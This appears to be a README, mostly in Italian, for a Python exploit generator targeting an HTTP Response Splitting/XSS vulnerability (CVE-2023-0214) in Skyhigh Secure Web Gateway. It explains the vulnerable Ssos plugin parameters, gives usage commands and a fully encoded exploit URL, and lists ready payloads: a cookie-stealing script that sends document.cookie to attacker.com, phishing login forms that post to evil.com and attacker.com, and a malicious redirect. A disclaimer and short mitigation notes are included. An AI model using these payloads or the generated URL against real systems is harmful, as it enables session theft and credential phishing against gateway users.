SWG Exploit Generator

██████╗ ██████╗ ████████╗███████╗
██╔═████╗██╔══██╗╚══██╔══╝██╔════╝
██║██╔██║██████╔╝   ██║   ███████╗
████╔╝██║██╔═══╝    ██║   ╚════██║
╚██████╔╝██║        ██║   ███████║
 ╚═════╝ ╚═╝        ╚═╝   ╚══════╝

by 0PTS

Proof of Concept per la vulnerabilità HTTP Response Splitting in Skyhigh Secure Web Gateway (ex McAfee Web Gateway).

Sulla vulnerabilità

Vulnerabilità critica di HTTP Response Splitting in Skyhigh Secure Web Gateway, che consente di eseguire attacchi XSS a distanza tramite iniezione di codice HTML/JavaScript arbitrario.

Dettagli tecnici

Tipo: HTTP Response Splitting / Cross-Site Scripting (XSS)
Pericolo: Alto
Vettore d'attacco: Remoto, non richiede autenticazione

Principio di funzionamento dell'exploit

La vulnerabilità si trova nel plugin "Ssos" (azione SetLoginToken), che gestisce in modo errato i parametri URL:

Parametro "p" → viene iniettato nell'intestazione P3P
Parametro "c" → viene iniettato nel corpo della risposta
Parametro "v" → viene iniettato nel cookie MwgSso

Poiché i caratteri di nuova riga (\r\n / %0d%0a) non vengono escaped, un attaccante può:

Iniettare intestazioni HTTP arbitrarie
Sovrascrivere Content-Type e Content-Length
Iniettare codice HTML/JavaScript arbitrario

Il browser ignora il resto del contenuto della risposta dopo un Content-Length correttamente formato, consentendo di sostituire completamente il contenuto visualizzato.

Utilizzo

Avvio base

python explot.py

Con parametri (come nmap)

# Базовый XSS
python explot.py -d example.com -p "<script>alert(document.domain)</script>"

# Редирект
python explot.py -d target.com -p '<meta http-equiv="refresh" content="0;url=https://evil.com/">'

# Фишинг форма
python explot.py -d bank.com -p '<form action="https://evil.com/steal"><input name="pass" placeholder="Password"><button>Login</button></form>'

# Только URL (тихий режим)
python explot.py -d example.com -p "<script>alert(1)</script>" -q

Parametri

-d, --domain    Dominio target (predefinito: google.com)
-x, --prefix    Prefisso del percorso URL (predefinito: SWG internal path)
-p, --payload   HTML/JavaScript payload
-q, --quiet     Modalità silenziosa - solo URL
-v, --version   Versione dello script
-h, --help      Aiuto

Esempi di payload

<script>fetch('https://attacker.com/log?c='+document.cookie)</script>

Form di phishing

<html>
<body style="font-family:Arial">
<h2>Session Expired - Please Login Again</h2>
<form action="https://attacker.com/phish" method="POST">
<input type="text" name="user" placeholder="Username"><br>
<input type="password" name="pass" placeholder="Password"><br>
<button>Login</button>
</form>
</body>
</html>

Reindirizzamento a sito dannoso

<meta http-equiv="refresh" content="0;url=https://malicious-site.com/">

Dimostrazione

██████╗ ██████╗ ████████╗███████╗
██╔═████╗██╔══██╗╚══██╔══╝██╔════╝
██║██╔██║██████╔╝   ██║   ███████╗
████╔╝██║██╔═══╝    ██║   ╚════██║
╚██████╔╝██║        ██║   ███████║
 ╚═════╝ ╚═╝        ╚═╝   ╚══════╝

[+] Target Domain:   example.com
[+] Payload Length:  43 bytes
[+] URL Length:      234 chars

[+] Generated URL:

http://example.com/mwg-internal/de5fs23hu73ds/plugin?target=Ssos&action=SetLoginToken&v=1&c=1&p=p%0D%0AContent-Type%3A%20text%2Fhtml%3Bcharset%3Dutf-8%0D%0AContent-Length%3A%2043%0D%0A%0D%0A%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Protezione

Aggiornare Skyhigh SWG all'ultima versione
Utilizzare un WAF con filtraggio delle iniezioni CRLF
Monitorare le richieste sospette a /mwg-internal/*

Disclaimer

⚠️ ATTENZIONE: Questo strumento è destinato esclusivamente a:

Test di penetrazione autorizzati
Scopi educativi
Competizioni CTF
Ricerche sulla sicurezza

L'utilizzo contro sistemi senza esplicita autorizzazione del proprietario è illegale.

Fonti

https://www.exploit-db.com/exploits/51237
Skyhigh Security Bulletins

██████╗ ██████╗ ████████╗███████╗
██╔═████╗██╔══██╗╚══██╔══╝██╔════╝
██║██╔██║██████╔╝   ██║   ███████╗
████╔╝██║██╔═══╝    ██║   ╚════██║
╚██████╔╝██║        ██║   ███████║
 ╚═════╝ ╚═╝        ╚═╝   ╚══════╝

CVE-2023-0214

Più Popolari